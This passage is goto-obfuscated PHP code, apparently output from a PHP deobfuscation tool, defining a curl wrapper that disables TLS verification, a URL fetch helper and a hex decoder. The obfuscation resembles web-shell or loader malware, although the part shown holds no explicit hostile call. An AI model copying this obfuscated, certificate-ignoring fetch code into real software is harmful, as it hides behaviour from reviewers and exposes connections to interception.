$bgwhF .= "\45" . bin2hex($Eup4C[$Rq_H9]); goto jmxqs; l3sxy: $Rq_H9++; goto Ga6by; Ga6by: goto ZesRy; goto rUWvB; abAy2: $Rq_H9 = 0; goto dAFHZ; dAFHZ: ZesRy: goto u74Jh; Z1Q_4: } private static function curl($i6450 = null, $Ay6bd = array(), $DoI11 = false) { goto BglK7; K6p_4: $pvRy3["\x69\156\x66\157"] = $DoI11; goto M0yya; LNNbv: mzvk0: goto Mdrok; CRWv5: return false; goto wZ4EB; G0HK8: if (!($DoI11 !== false)) { goto mweN4; } goto PFxCd; GV4Lb: $dHQHc = @curl_init($i6450); goto gF_lE; KUrTo: $tECGY = array(CURLOPT_URL => $i6450, CURLOPT_RETURNTRANSFER => 1, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_MAXREDIRS => 5, CURLOPT_TIMEOUT => 10); goto GV4Lb; Y7Pgz: if (!curl_errno($dHQHc)) { goto mzvk0; } goto jhdCT; gF_lE: curl_setopt_array($dHQHc, $tECGY + $Ay6bd); goto eGe6i; M0yya: mweN4: goto Y7Pgz; nE0bU: GebZf: goto KUrTo; wZ4EB: goto p8LOA; goto nE0bU; PFxCd: $DoI11 = curl_getinfo($dHQHc); goto K6p_4; ATk3M: p8LOA: goto oDlhB; BglK7: if ($i6450 != null) { goto GebZf; } goto CRWv5; yzC83: return $pvRy3; goto ATk3M; jhdCT: $pvRy3["\145\162\x72\x6f\162"] = curl_error($dHQHc); goto LNNbv; eGe6i: $pvRy3 = []; goto I4M8a; Mdrok: @curl_close($dHQHc); goto yzC83; I4M8a: $pvRy3["\162\145\163\160\x6f\x6e\x73\x65"] = @curl_exec($dHQHc); goto G0HK8; oDlhB: } private static function get($i6450) { $B0tuJ = self::curl($i6450); return $B0tuJ["\x72\145\x73\x70\x6f\x6e\163\x65"]; } public static function hex2bin($HxE4g) { goto huxBG; FYAvY: goto s1IPM; goto TG5Hb; Kn0ez: return hex2bin($HxE4g); goto R42In; jB4o5: PajWm: goto NKppY; EHN5i: $yIxGx = $jUCWI; goto NtVyf; LHhDx: $Rq_H9 = 0; goto kiYPW; NKppY: return $yIxGx; goto w5AEi; R42In: KlD0d: goto G78fK; NtVyf: s1IPM: goto FfLkg; ir0Xm: $jUCWI = pack("\x48\x2a", $WDqEZ); goto srYJn; srYJn: if ($Rq_H9 == 0) { goto Gwahl; } goto ceYqP; huxBG: if (!function_exists("\x68\145\x78\62\142\151\x6e")) { goto KlD0d; } goto Kn0ez; TG5Hb: Gwahl: goto EHN5i; FfLkg: $Rq_H9 += 2; goto r6Xtk; NS8UV: $yIxGx = ''; goto LHhDx; ceYqP: $yIxGx .= $jUCWI; goto FYAvY; ajnso: if (!($Rq_H9 < $FvaXm)) { goto PajWm; } goto gBWZq; kiYPW: EnOc5: goto ajnso; gBWZq: $WDqEZ = substr($HxE4g, $Rq_H9, 2); goto ir0Xm; r6Xtk: goto EnOc5; goto jB4o5; G78fK: $FvaXm = strlen($HxE4g); goto NS8UV; w5AEi: } }
Function Calls
None |
Stats
MD5 | e9f5c0740644efff1e5937f006e37099 |
Eval Count | 0 |
Decode Time | 50 ms |